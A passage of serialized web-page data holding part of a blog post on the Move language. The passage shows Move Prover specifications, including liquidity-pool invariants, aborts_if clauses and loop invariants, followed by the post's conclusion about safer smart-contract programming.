Pool",{"type":24,"tag":90,"props":10442,"children":10443},{"style":114},[10444],{"type":29,"value":269},{"type":24,"tag":90,"props":10446,"children":10447},{"class":92,"line":239},[10448,10453,10458,10462,10467,10471,10475,10479,10483],{"type":24,"tag":90,"props":10449,"children":10450},{"style":97},[10451],{"type":29,"value":10452}," let",{"type":24,"tag":90,"props":10454,"children":10455},{"style":136},[10456],{"type":29,"value":10457}," share",{"type":24,"tag":90,"props":10459,"children":10460},{"style":120},[10461],{"type":29,"value":216},{"type":24,"tag":90,"props":10463,"children":10464},{"style":108},[10465],{"type":29,"value":10466}," add_liquidity",{"type":24,"tag":90,"props":10468,"children":10469},{"style":114},[10470],{"type":29,"value":117},{"type":24,"tag":90,"props":10472,"children":10473},{"style":136},[10474],{"type":29,"value":10378},{"type":24,"tag":90,"props":10476,"children":10477},{"style":114},[10478],{"type":29,"value":133},{"type":24,"tag":90,"props":10480,"children":10481},{"style":136},[10482],{"type":29,"value":10395},{"type":24,"tag":90,"props":10484,"children":10485},{"style":114},[10486],{"type":29,"value":571},{"type":24,"tag":90,"props":10488,"children":10489},{"class":92,"line":248},[10490,10495,10499,10504],{"type":24,"tag":90,"props":10491,"children":10492},{"style":108},[10493],{"type":29,"value":10494}," remove_liquidity",{"type":24,"tag":90,"props":10496,"children":10497},{"style":114},[10498],{"type":29,"value":117},{"type":24,"tag":90,"props":10500,"children":10501},{"style":136},[10502],{"type":29,"value":10503},"share",{"type":24,"tag":90,"props":10505,"children":10506},{"style":114},[10507],{"type":29,"value":1686},{"type":24,"tag":90,"props":10509,"children":10510},{"class":92,"line":258},[10511],{"type":24,"tag":90,"props":10512,"children":10513},{"style":114},[10514],{"type":29,"value":8257},{"type":24,"tag":90,"props":10516,"children":10517},{"class":92,"line":272},[10518,10523,10527],{"type":24,"tag":90,"props":10519,"children":10520},{"style":136},[10521],{"type":29,"value":10522}," spec",{"type":24,"tag":90,"props":10524,"children":10525},{"style":136},[10526],{"type":29,"value":10369},{"type":24,"tag":90,"props":10528,"children":10529},{"style":114},[10530],{"type":29,"value":269},{"type":24,"tag":90,"props":10532,"children":10533},{"class":92,"line":281},[10534,10539,10544,10548,10553],{"type":24,"tag":90,"props":10535,"children":10536},{"style":136},[10537],{"type":29,"value":10538}," pragma",{"type":24,"tag":90,"props":10540,"children":10541},{"style":136},[10542],{"type":29,"value":10543}," verify",{"type":24,"tag":90,"props":10545,"children":10546},{"style":120},[10547],{"type":29,"value":5491},{"type":24,"tag":90,"props":10549,"children":10550},{"style":97},[10551],{"type":29,"value":10552},"false",{"type":24,"tag":90,"props":10554,"children":10555},{"style":114},[10556],{"type":29,"value":381},{"type":24,"tag":90,"props":10558,"children":10559},{"class":92,"line":384},[10560,10565,10570,10575,10580],{"type":24,"tag":90,"props":10561,"children":10562},{"style":136},[10563],{"type":29,"value":10564}," ensures",{"type":24,"tag":90,"props":10566,"children":10567},{"style":136},[10568],{"type":29,"value":10569}," result_1",{"type":24,"tag":90,"props":10571,"children":10572},{"style":120},[10573],{"type":29,"value":10574}," \u003C=",{"type":24,"tag":90,"props":10576,"children":10577},{"style":136},[10578],{"type":29,"value":10579}," coin1_in",{"type":24,"tag":90,"props":10581,"children":10582},{"style":114},[10583],{"type":29,"value":381},{"type":24,"tag":90,"props":10585,"children":10586},{"class":92,"line":420},[10587,10591,10596,10600,10605],{"type":24,"tag":90,"props":10588,"children":10589},{"style":136},[10590],{"type":29,"value":10564},{"type":24,"tag":90,"props":10592,"children":10593},{"style":136},[10594],{"type":29,"value":10595}," result_2",{"type":24,"tag":90,"props":10597,"children":10598},{"style":120},[10599],{"type":29,"value":10574},{"type":24,"tag":90,"props":10601,"children":10602},{"style":136},[10603],{"type":29,"value":10604}," coin2_in",{"type":24,"tag":90,"props":10606,"children":10607},{"style":114},[10608],{"type":29,"value":381},{"type":24,"tag":90,"props":10610,"children":10611},{"class":92,"line":428},[10612],{"type":24,"tag":90,"props":10613,"children":10614},{"style":114},[10615],{"type":29,"value":8257},{"type":24,"tag":25,"props":10617,"children":10618},{},[10619],{"type":29,"value":10620},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":24,"tag":25,"props":10622,"children":10623},{},[10624,10626,10631],{"type":29,"value":10625},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":24,"tag":842,"props":10627,"children":10628},{},[10629],{"type":29,"value":10630},"lot",{"type":29,"value":10632}," easier to reason about the protocol.",{"type":24,"tag":25,"props":10634,"children":10635},{},[10636],{"type":29,"value":10637},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":24,"tag":80,"props":10639,"children":10641},{"className":82,"code":10640,"language":84,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[10642],{"type":24,"tag":32,"props":10643,"children":10644},{"__ignoreMap":7},[10645,10662,10685],{"type":24,"tag":90,"props":10646,"children":10647},{"class":92,"line":93},[10648,10653,10658],{"type":24,"tag":90,"props":10649,"children":10650},{"style":136},[10651],{"type":29,"value":10652},"spec",{"type":24,"tag":90,"props":10654,"children":10655},{"style":146},[10656],{"type":29,"value":10657}," PoolState",{"type":24,"tag":90,"props":10659,"children":10660},{"style":114},[10661],{"type":29,"value":269},{"type":24,"tag":90,"props":10663,"children":10664},{"class":92,"line":200},[10665,10670,10675,10680],{"type":24,"tag":90,"props":10666,"children":10667},{"style":136},[10668],{"type":29,"value":10669}," invariant",{"type":24,"tag":90,"props":10671,"children":10672},{"style":136},[10673],{"type":29,"value":10674}," supply",{"type":24,"tag":90,"props":10676,"children":10677},{"style":120},[10678],{"type":29,"value":10679}," >=",{"type":24,"tag":90,"props":10681,"children":10682},{"style":114},[10683],{"type":29,"value":10684}," MINIMUM_LIQUIDITY;\n",{"type":24,"tag":90,"props":10686,"children":10687},{"class":92,"line":239},[10688],{"type":24,"tag":90,"props":10689,"children":10690},{"style":114},[10691],{"type":29,"value":827},{"type":24,"tag":25,"props":10693,"children":10694},{},[10695,10697,10703,10705,10711],{"type":29,"value":10696},"Another useful pattern for the Move prover is ",{"type":24,"tag":32,"props":10698,"children":10700},{"className":10699},[],[10701],{"type":29,"value":10702},"aborts_if",{"type":29,"value":10704},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":24,"tag":32,"props":10706,"children":10708},{"className":10707},[],[10709],{"type":29,"value":10710},"aborts_if false",{"type":29,"value":226},{"type":24,"tag":25,"props":10713,"children":10714},{},[10715],{"type":29,"value":10716},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":24,"tag":80,"props":10718,"children":10720},{"className":82,"code":10719,"language":84,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[10721],{"type":24,"tag":32,"props":10722,"children":10723},{"__ignoreMap":7},[10724,10787,10828,10851,10896,10909,10921,10960,10983,11071,11079,11104,11112,11133,11153,11250,11258,11286,11294,11306,11330,11365,11372,11380,11387,11402,11418,11436,11481,11587],{"type":24,"tag":90,"props":10725,"children":10726},{"class":92,"line":93},[10727,10731,10736,10740,10744,10748,10753,10757,10761,10766,10770,10774,10778,10783],{"type":24,"tag":90,"props":10728,"children":10729},{"style":136},[10730],{"type":29,"value":8954},{"type":24,"tag":90,"props":10732,"children":10733},{"style":108},[10734],{"type":29,"value":10735}," multiply_vec_by_n_coins",{"type":24,"tag":90,"props":10737,"children":10738},{"style":114},[10739],{"type":29,"value":117},{"type":24,"tag":90,"props":10741,"children":10742},{"style":136},[10743],{"type":29,"value":1106},{"type":24,"tag":90,"props":10745,"children":10746},{"style":120},[10747],{"type":29,"value":78},{"type":24,"tag":90,"props":10749,"children":10750},{"style":136},[10751],{"type":29,"value":10752}," vector",{"type":24,"tag":90,"props":10754,"children":10755},{"style":114},[10756],{"type":29,"value":1575},{"type":24,"tag":90,"props":10758,"children":10759},{"style":146},[10760],{"type":29,"value":1580},{"type":24,"tag":90,"props":10762,"children":10763},{"style":114},[10764],{"type":29,"value":10765},">)",{"type":24,"tag":90,"props":10767,"children":10768},{"style":120},[10769],{"type":29,"value":78},{"type":24,"tag":90,"props":10771,"children":10772},{"style":136},[10773],{"type":29,"value":10752},{"type":24,"tag":90,"props":10775,"children":10776},{"style":114},[10777],{"type":29,"value":1575},{"type":24,"tag":90,"props":10779,"children":10780},{"style":146},[10781],{"type":29,"value":10782},"u128",{"type":24,"tag":90,"props":10784,"children":10785},{"style":114},[10786],{"type":29,"value":197},{"type":24,"tag":90,"props":10788,"children":10789},{"class":92,"line":200},[10790,10794,10799,10803,10807,10811,10816,10820,10824],{"type":24,"tag":90,"props":10791,"children":10792},{"style":97},[10793],{"type":29,"value":10452},{"type":24,"tag":90,"props":10795,"children":10796},{"style":136},[10797],{"type":29,"value":10798}," amounts_times_coins",{"type":24,"tag":90,"props":10800,"children":10801},{"style":120},[10802],{"type":29,"value":216},{"type":24,"tag":90,"props":10804,"children":10805},{"style":114},[10806],{"type":29,"value":10752},{"type":24,"tag":90,"props":10808,"children":10809},{"style":120},[10810],{"type":29,"value":1211},{"type":24,"tag":90,"props":10812,"children":10813},{"style":136},[10814],{"type":29,"value":10815},"empty",{"type":24,"tag":90,"props":10817,"children":10818},{"style":114},[10819],{"type":29,"value":1575},{"type":24,"tag":90,"props":10821,"children":10822},{"style":146},[10823],{"type":29,"value":10782},{"type":24,"tag":90,"props":10825,"children":10826},{"style":114},[10827],{"type":29,"value":1585},{"type":24,"tag":90,"props":10829,"children":10830},{"class":92,"line":239},[10831,10835,10839,10843,10847],{"type":24,"tag":90,"props":10832,"children":10833},{"style":97},[10834],{"type":29,"value":10452},{"type":24,"tag":90,"props":10836,"children":10837},{"style":136},[10838],{"type":29,"value":5790},{"type":24,"tag":90,"props":10840,"children":10841},{"style":120},[10842],{"type":29,"value":216},{"type":24,"tag":90,"props":10844,"children":10845},{"style":349},[10846],{"type":29,"value":5448},{"type":24,"tag":90,"props":10848,"children":10849},{"style":114},[10850],{"type":29,"value":381},{"type":24,"tag":90,"props":10852,"children":10853},{"class":92,"line":248},[10854,10858,10863,10867,10871,10875,10880,10884,10888,10892],{"type":24,"tag":90,"props":10855,"children":10856},{"style":97},[10857],{"type":29,"value":10452},{"type":24,"tag":90,"props":10859,"children":10860},{"style":136},[10861],{"type":29,"value":10862}," n_coins",{"type":24,"tag":90,"props":10864,"children":10865},{"style":120},[10866],{"type":29,"value":216},{"type":24,"tag":90,"props":10868,"children":10869},{"style":114},[10870],{"type":29,"value":10752},{"type":24,"tag":90,"props":10872,"children":10873},{"style":120},[10874],{"type":29,"value":1211},{"type":24,"tag":90,"props":10876,"children":10877},{"style":108},[10878],{"type":29,"value":10879},"length",{"type":24,"tag":90,"props":10881,"children":10882},{"style":114},[10883],{"type":29,"value":117},{"type":24,"tag":90,"props":10885,"children":10886},{"style":120},[10887],{"type":29,"value":123},{"type":24,"tag":90,"props":10889,"children":10890},{"style":136},[10891],{"type":29,"value":1106},{"type":24,"tag":90,"props":10893,"children":10894},{"style":114},[10895],{"type":29,"value":571},{"type":24,"tag":90,"props":10897,"children":10898},{"class":92,"line":258},[10899,10904],{"type":24,"tag":90,"props":10900,"children":10901},{"style":636},[10902],{"type":29,"value":10903}," while",{"type":24,"tag":90,"props":10905,"children":10906},{"style":114},[10907],{"type":29,"value":10908}," ({\n",{"type":24,"tag":90,"props":10910,"children":10911},{"class":92,"line":272},[10912,10917],{"type":24,"tag":90,"props":10913,"children":10914},{"style":136},[10915],{"type":29,"value":10916}," spec",{"type":24,"tag":90,"props":10918,"children":10919},{"style":114},[10920],{"type":29,"value":269},{"type":24,"tag":90,"props":10922,"children":10923},{"class":92,"line":281},[10924,10929,10934,10938,10943,10947,10952,10956],{"type":24,"tag":90,"props":10925,"children":10926},{"style":136},[10927],{"type":29,"value":10928}," invariant",{"type":24,"tag":90,"props":10930,"children":10931},{"style":108},[10932],{"type":29,"value":10933}," len",{"type":24,"tag":90,"props":10935,"children":10936},{"style":114},[10937],{"type":29,"value":117},{"type":24,"tag":90,"props":10939,"children":10940},{"style":136},[10941],{"type":29,"value":10942},"amounts_times_coins",{"type":24,"tag":90,"props":10944,"children":10945},{"style":114},[10946],{"type":29,"value":172},{"type":24,"tag":90,"props":10948,"children":10949},{"style":120},[10950],{"type":29,"value":10951},"==",{"type":24,"tag":90,"props":10953,"children":10954},{"style":136},[10955],{"type":29,"value":5790},{"type":24,"tag":90,"props":10957,"children":10958},{"style":114},[10959],{"type":29,"value":381},{"type":24,"tag":90,"props":10961,"children":10962},{"class":92,"line":384},[10963,10967,10971,10975,10979],{"type":24,"tag":90,"props":10964,"children":10965},{"style":136},[10966],{"type":29,"value":10928},{"type":24,"tag":90,"props":10968,"children":10969},{"style":136},[10970],{"type":29,"value":5790},{"type":24,"tag":90,"props":10972,"children":10973},{"style":120},[10974],{"type":29,"value":10574},{"type":24,"tag":90,"props":10976,"children":10977},{"style":136},[10978],{"type":29,"value":10862},{"type":24,"tag":90,"props":10980,"children":10981},{"style":114},[10982],{"type":29,"value":381},{"type":24,"tag":90,"props":10984,"children":10985},{"class":92,"line":420},[10986,10990,10995,11000,11004,11008,11012,11016,11020,11024,11028,11033,11038,11042,11047,11051,11055,11059,11063,11067],{"type":24,"tag":90,"props":10987,"children":10988},{"style":136},[10989],{"type":29,"value":10928},{"type":24,"tag":90,"props":10991,"children":10992},{"style":136},[10993],{"type":29,"value":10994}," forall",{"type":24,"tag":90,"props":10996,"children":10997},{"style":136},[10998],{"type":29,"value":10999}," j",{"type":24,"tag":90,"props":11001,"children":11002},{"style":97},[11003],{"type":29,"value":5443},{"type":24,"tag":90,"props":11005,"children":11006},{"style":349},[11007],{"type":29,"value":5448},{"type":24,"tag":90,"props":11009,"children":11010},{"style":120},[11011],{"type":29,"value":729},{"type":24,"tag":90,"props":11013,"children":11014},{"style":136},[11015],{"type":29,"value":6123},{"type":24,"tag":90,"props":11017,"children":11018},{"style":120},[11019],{"type":29,"value":78},{"type":24,"tag":90,"props":11021,"children":11022},{"style":136},[11023],{"type":29,"value":10798},{"type":24,"tag":90,"props":11025,"children":11026},{"style":114},[11027],{"type":29,"value":719},{"type":24,"tag":90,"props":11029,"children":11030},{"style":136},[11031],{"type":29,"value":11032},"j",{"type":24,"tag":90,"props":11034,"children":11035},{"style":114},[11036],{"type":29,"value":11037},"] ",{"type":24,"tag":90,"props":11039,"children":11040},{"style":120},[11041],{"type":29,"value":10951},{"type":24,"tag":90,"props":11043,"children":11044},{"style":136},[11045],{"type":29,"value":11046}," input",{"type":24,"tag":90,"props":11048,"children":11049},{"style":114},[11050],{"type":29,"value":719},{"type":24,"tag":90,"props":11052,"children":11053},{"style":136},[11054],{"type":29,"value":11032},{"type":24,"tag":90,"props":11056,"children":11057},{"style":114},[11058],{"type":29,"value":11037},{"type":24,"tag":90,"props":11060,"children":11061},{"style":120},[11062],{"type":29,"value":983},{"type":24,"tag":90,"props":11064,"children":11065},{"style":136},[11066],{"type":29,"value":10862},{"type":24,"tag":90,"props":11068,"children":11069},{"style":114},[11070],{"type":29,"value":381},{"type":24,"tag":90,"props":11072,"children":11073},{"class":92,"line":428},[11074],{"type":24,"tag":90,"props":11075,"children":11076},{"style":114},[11077],{"type":29,"value":11078}," };\n",{"type":24,"tag":90,"props":11080,"children":11081},{"class":92,"line":437},[11082,11087,11091,11096,11100],{"type":24,"tag":90,"props":11083,"children":11084},{"style":114},[11085],{"type":29,"value":11086}," (",{"type":24,"tag":90,"props":11088,"children":11089},{"style":136},[11090],{"type":29,"value":6123},{"type":24,"tag":90,"props":11092,"children":11093},{"style":120},[11094],{"type":29,"value":11095}," \u003C",{"type":24,"tag":90,"props":11097,"children":11098},{"style":136},[11099],{"type":29,"value":10862},{"type":24,"tag":90,"props":11101,"children":11102},{"style":114},[11103],{"type":29,"value":1686},{"type":24,"tag":90,"props":11105,"children":11106},{"class":92,"line":574},[11107],{"type":24,"tag":90,"props":11108,"children":11109},{"style":114},[11110],{"type":29,"value":11111}," }) {\n",{"type":24,"tag":90,"props":11113,"children":11114},{"class":92,"line":606},[11115,11120,11124,11129],{"type":24,"tag":90,"props":11116,"children":11117},{"style":114},[11118],{"type":29,"value":11119}," vector",{"type":24,"tag":90,"props":11121,"children":11122},{"style":120},[11123],{"type":29,"value":1211},{"type":24,"tag":90,"props":11125,"children":11126},{"style":108},[11127],{"type":29,"value":11128},"push_back",{"type":24,"tag":90,"props":11130,"children":11131},{"style":114},[11132],{"type":29,"value":680},{"type":24,"tag":90,"props":11134,"children":11135},{"class":92,"line":615},[11136,11141,11145,11149],{"type":24,"tag":90,"props":11137,"children":11138},{"style":120},[11139],{"type":29,"value":11140}," &",{"type":24,"tag":90,"props":11142,"children":11143},{"style":97},[11144],{"type":29,"value":371},{"type":24,"tag":90,"props":11146,"children":11147},{"style":136},[11148],{"type":29,"value":10798},{"type":24,"tag":90,"props":11150,"children":11151},{"style":114},[11152],{"type":29,"value":748},{"type":24,"tag":90,"props":11154,"children":11155},{"class":92,"line":623},[11156,11161,11165,11170,11174,11178,11182,11186,11190,11195,11199,11203,11207,11212,11216,11221,11225,11229,11233,11238,11242,11246],{"type":24,"tag":90,"props":11157,"children":11158},{"style":114},[11159],{"type":29,"value":11160}," (",{"type":24,"tag":90,"props":11162,"children":11163},{"style":120},[11164],{"type":29,"value":983},{"type":24,"tag":90,"props":11166,"children":11167},{"style":114},[11168],{"type":29,"value":11169},"vector",{"type":24,"tag":90,"props":11171,"children":11172},{"style":120},[11173],{"type":29,"value":1211},{"type":24,"tag":90,"props":11175,"children":11176},{"style":108},[11177],{"type":29,"value":2875},{"type":24,"tag":90,"props":11179,"children":11180},{"style":114},[11181],{"type":29,"value":117},{"type":24,"tag":90,"props":11183,"children":11184},{"style":120},[11185],{"type":29,"value":123},{"type":24,"tag":90,"props":11187,"children":11188},{"style":136},[11189],{"type":29,"value":1106},{"type":24,"tag":90,"props":11191,"children":11192},{"style":114},[11193],{"type":29,"value":11194},", (",{"type":24,"tag":90,"props":11196,"children":11197},{"style":136},[11198],{"type":29,"value":6123},{"type":24,"tag":90,"props":11200,"children":11201},{"style":97},[11202],{"type":29,"value":409},{"type":24,"tag":90,"props":11204,"children":11205},{"style":146},[11206],{"type":29,"value":376},{"type":24,"tag":90,"props":11208,"children":11209},{"style":114},[11210],{"type":29,"value":11211},")) ",{"type":24,"tag":90,"props":11213,"children":11214},{"style":97},[11215],{"type":29,"value":361},{"type":24,"tag":90,"props":11217,"children":11218},{"style":146},[11219],{"type":29,"value":11220}," u128",{"type":24,"tag":90,"props":11222,"children":11223},{"style":114},[11224],{"type":29,"value":172},{"type":24,"tag":90,"props":11226,"children":11227},{"style":120},[11228],{"type":29,"value":983},{"type":24,"tag":90,"props":11230,"children":11231},{"style":114},[11232],{"type":29,"value":1151},{"type":24,"tag":90,"props":11234,"children":11235},{"style":136},[11236],{"type":29,"value":11237},"n_coins",{"type":24,"tag":90,"props":11239,"children":11240},{"style":97},[11241],{"type":29,"value":409},{"type":24,"tag":90,"props":11243,"children":11244},{"style":146},[11245],{"type":29,"value":11220},{"type":24,"tag":90,"props":11247,"children":11248},{"style":114},[11249],{"type":29,"value":1686},{"type":24,"tag":90,"props":11251,"children":11252},{"class":92,"line":632},[11253],{"type":24,"tag":90,"props":11254,"children":11255},{"style":114},[11256],{"type":29,"value":11257}," );\n",{"type":24,"tag":90,"props":11259,"children":11260},{"class":92,"line":669},[11261,11266,11270,11274,11278,11282],{"type":24,"tag":90,"props":11262,"children":11263},{"style":136},[11264],{"type":29,"value":11265}," i",{"type":24,"tag":90,"props":11267,"children":11268},{"style":120},[11269],{"type":29,"value":216},{"type":24,"tag":90,"props":11271,"children":11272},{"style":136},[11273],{"type":29,"value":5790},{"type":24,"tag":90,"props":11275,"children":11276},{"style":120},[11277],{"type":29,"value":1714},{"type":24,"tag":90,"props":11279,"children":11280},{"style":349},[11281],{"type":29,"value":6909},{"type":24,"tag":90,"props":11283,"children":11284},{"style":114},[11285],{"type":29,"value":381},{"type":24,"tag":90,"props":11287,"children":11288},{"class":92,"line":683},[11289],{"type":24,"tag":90,"props":11290,"children":11291},{"style":114},[11292],{"type":29,"value":11293}," };\n",{"type":24,"tag":90,"props":11295,"children":11296},{"class":92,"line":737},[11297,11302],{"type":24,"tag":90,"props":11298,"children":11299},{"style":136},[11300],{"type":29,"value":11301}," spec",{"type":24,"tag":90,"props":11303,"children":11304},{"style":114},[11305],{"type":29,"value":269},{"type":24,"tag":90,"props":11307,"children":11308},{"class":92,"line":751},[11309,11314,11318,11322,11326],{"type":24,"tag":90,"props":11310,"children":11311},{"style":136},[11312],{"type":29,"value":11313}," assert",{"type":24,"tag":90,"props":11315,"children":11316},{"style":136},[11317],{"type":29,"value":5790},{"type":24,"tag":90,"props":11319,"children":11320},{"style":120},[11321],{"type":29,"value":2102},{"type":24,"tag":90,"props":11323,"children":11324},{"style":136},[11325],{"type":29,"value":10862},{"type":24,"tag":90,"props":11327,"children":11328},{"style":114},[11329],{"type":29,"value":381},{"type":24,"tag":90,"props":11331,"children":11332},{"class":92,"line":782},[11333,11337,11341,11345,11349,11353,11357,11361],{"type":24,"tag":90,"props":11334,"children":11335},{"style":136},[11336],{"type":29,"value":11313},{"type":24,"tag":90,"props":11338,"children":11339},{"style":108},[11340],{"type":29,"value":10933},{"type":24,"tag":90,"props":11342,"children":11343},{"style":114},[11344],{"type":29,"value":117},{"type":24,"tag":90,"props":11346,"children":11347},{"style":136},[11348],{"type":29,"value":1106},{"type":24,"tag":90,"props":11350,"children":11351},{"style":114},[11352],{"type":29,"value":172},{"type":24,"tag":90,"props":11354,"children":11355},{"style":120},[11356],{"type":29,"value":10951},{"type":24,"tag":90,"props":11358,"children":11359},{"style":136},[11360],{"type":29,"value":10862},{"type":24,"tag":90,"props":11362,"children":11363},{"style":114},[11364],{"type":29,"value":381},{"type":24,"tag":90,"props":11366,"children":11367},{"class":92,"line":791},[11368],{"type":24,"tag":90,"props":11369,"children":11370},{"style":114},[11371],{"type":29,"value":11293},{"type":24,"tag":90,"props":11373,"children":11374},{"class":92,"line":799},[11375],{"type":24,"tag":90,"props":11376,"children":11377},{"style":136},[11378],{"type":29,"value":11379}," amounts_times_coins\n",{"type":24,"tag":90,"props":11381,"children":11382},{"class":92,"line":807},[11383],{"type":24,"tag":90,"props":11384,"children":11385},{"style":114},[11386],{"type":29,"value":8257},{"type":24,"tag":90,"props":11388,"children":11389},{"class":92,"line":821},[11390,11394,11398],{"type":24,"tag":90,"props":11391,"children":11392},{"style":136},[11393],{"type":29,"value":10522},{"type":24,"tag":90,"props":11395,"children":11396},{"style":136},[11397],{"type":29,"value":10735},{"type":24,"tag":90,"props":11399,"children":11400},{"style":114},[11401],{"type":29,"value":269},{"type":24,"tag":90,"props":11403,"children":11404},{"class":92,"line":6278},[11405,11409,11414],{"type":24,"tag":90,"props":11406,"children":11407},{"style":136},[11408],{"type":29,"value":10538},{"type":24,"tag":90,"props":11410,"children":11411},{"style":136},[11412],{"type":29,"value":11413}," opaque",{"type":24,"tag":90,"props":11415,"children":11416},{"style":114},[11417],{"type":29,"value":381},{"type":24,"tag":90,"props":11419,"children":11421},{"class":92,"line":11420},27,[11422,11427,11432],{"type":24,"tag":90,"props":11423,"children":11424},{"style":136},[11425],{"type":29,"value":11426}," aborts_if",{"type":24,"tag":90,"props":11428,"children":11429},{"style":97},[11430],{"type":29,"value":11431}," false",{"type":24,"tag":90,"props":11433,"children":11434},{"style":114},[11435],{"type":29,"value":381},{"type":24,"tag":90,"props":11437,"children":11439},{"class":92,"line":11438},28,[11440,11444,11448,11452,11457,11461,11465,11469,11473,11477],{"type":24,"tag":90,"props":11441,"children":11442},{"style":136},[11443],{"type":29,"value":10564},{"type":24,"tag":90,"props":11445,"children":11446},{"style":108},[11447],{"type":29,"value":10933},{"type":24,"tag":90,"props":11449,"children":11450},{"style":114},[11451],{"type":29,"value":117},{"type":24,"tag":90,"props":11453,"children":11454},{"style":136},[11455],{"type":29,"value":11456},"result",{"type":24,"tag":90,"props":11458,"children":11459},{"style":114},[11460],{"type":29,"value":172},{"type":24,"tag":90,"props":11462,"children":11463},{"style":120},[11464],{"type":29,"value":10951},{"type":24,"tag":90,"props":11466,"children":11467},{"style":108},[11468],{"type":29,"value":10933},{"type":24,"tag":90,"props":11470,"children":11471},{"style":114},[11472],{"type":29,"value":117},{"type":24,"tag":90,"props":11474,"children":11475},{"style":136},[11476],{"type":29,"value":1106},{"type":24,"tag":90,"props":11478,"children":11479},{"style":114},[11480],{"type":29,"value":571},{"type":24,"tag":90,"props":11482,"children":11484},{"class":92,"line":11483},29,[11485,11489,11493,11497,11501,11505,11509,11514,11518,11522,11526,11530,11535,11539,11543,11547,11551,11555,11559,11563,11567,11571,11575,11579,11583],{"type":24,"tag":90,"props":11486,"children":11487},{"style":136},[11488],{"type":29,"value":10564},{"type":24,"tag":90,"props":11490,"children":11491},{"style":136},[11492],{"type":29,"value":10994},{"type":24,"tag":90,"props":11494,"children":11495},{"style":136},[11496],{"type":29,"value":10999},{"type":24,"tag":90,"props":11498,"children":11499},{"style":97},[11500],{"type":29,"value":5443},{"type":24,"tag":90,"props":11502,"children":11503},{"style":349},[11504],{"type":29,"value":5448},{"type":24,"tag":90,"props":11506,"children":11507},{"style":120},[11508],{"type":29,"value":729},{"type":24,"tag":90,"props":11510,"children":11511},{"style":108},[11512],{"type":29,"value":11513},"len",{"type":24,"tag":90,"props":11515,"children":11516},{"style":114},[11517],{"type":29,"value":117},{"type":24,"tag":90,"props":11519,"children":11520},{"style":136},[11521],{"type":29,"value":1106},{"type":24,"tag":90,"props":11523,"children":11524},{"style":114},[11525],{"type":29,"value":517},{"type":24,"tag":90,"props":11527,"children":11528},{"style":120},[11529],{"type":29,"value":78},{"type":24,"tag":90,"props":11531,"children":11532},{"style":136},[11533],{"type":29,"value":11534}," result",{"type":24,"tag":90,"props":11536,"children":11537},{"style":114},[11538],{"type":29,"value":719},{"type":24,"tag":90,"props":11540,"children":11541},{"style":136},[11542],{"type":29,"value":11032},{"type":24,"tag":90,"props":11544,"children":11545},{"style":114},[11546],{"type":29,"value":11037},{"type":24,"tag":90,"props":11548,"children":11549},{"style":120},[11550],{"type":29,"value":10951},{"type":24,"tag":90,"props":11552,"children":11553},{"style":136},[11554],{"type":29,"value":11046},{"type":24,"tag":90,"props":11556,"children":11557},{"style":114},[11558],{"type":29,"value":719},{"type":24,"tag":90,"props":11560,"children":11561},{"style":136},[11562],{"type":29,"value":11032},{"type":24,"tag":90,"props":11564,"children":11565},{"style":114},[11566],{"type":29,"value":11037},{"type":24,"tag":90,"props":11568,"children":11569},{"style":120},[11570],{"type":29,"value":983},{"type":24,"tag":90,"props":11572,"children":11573},{"style":108},[11574],{"type":29,"value":10933},{"type":24,"tag":90,"props":11576,"children":11577},{"style":114},[11578],{"type":29,"value":117},{"type":24,"tag":90,"props":11580,"children":11581},{"style":136},[11582],{"type":29,"value":1106},{"type":24,"tag":90,"props":11584,"children":11585},{"style":114},[11586],{"type":29,"value":571},{"type":24,"tag":90,"props":11588,"children":11590},{"class":92,"line":11589},30,[11591],{"type":24,"tag":90,"props":11592,"children":11593},{"style":114},[11594],{"type":29,"value":8257},{"type":24,"tag":850,"props":11596,"children":11597},{"id":7696},[11598],{"type":29,"value":7699},{"type":24,"tag":25,"props":11600,"children":11601},{},[11602],{"type":29,"value":11603},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":24,"tag":25,"props":11605,"children":11606},{},[11607],{"type":29,"value":11608},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":24,"tag":25,"props":11610,"children":11611},{},[11612,11614,11621],{"type":29,"value":11613},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":69,"props":11615,"children":11618},{"href":11616,"rel":11617},"https://twitter.com/notdeghost/",[73],[11619],{"type":29,"value":11620},"@notdeghost",{"type":29,"value":226},{"type":24,"tag":5249,"props":11623,"children":11624},{},[11625],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":11627},[11628,11629,11630],{"id":8145,"depth":200,"text":8148},{"id":10174,"depth":200,"text":10177},{"id":7696,"depth":200,"text":7699},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":11635,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11636,"description":11637,"author":8106,"image":11638,"date":11641,"isFeatured":16,"tags":11642,"onBlogPage":16,"body":11644,"_type":5270,"_id":15978,"_source":5272,"_file":15979,"_stem":15980,"_extension":5275},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and 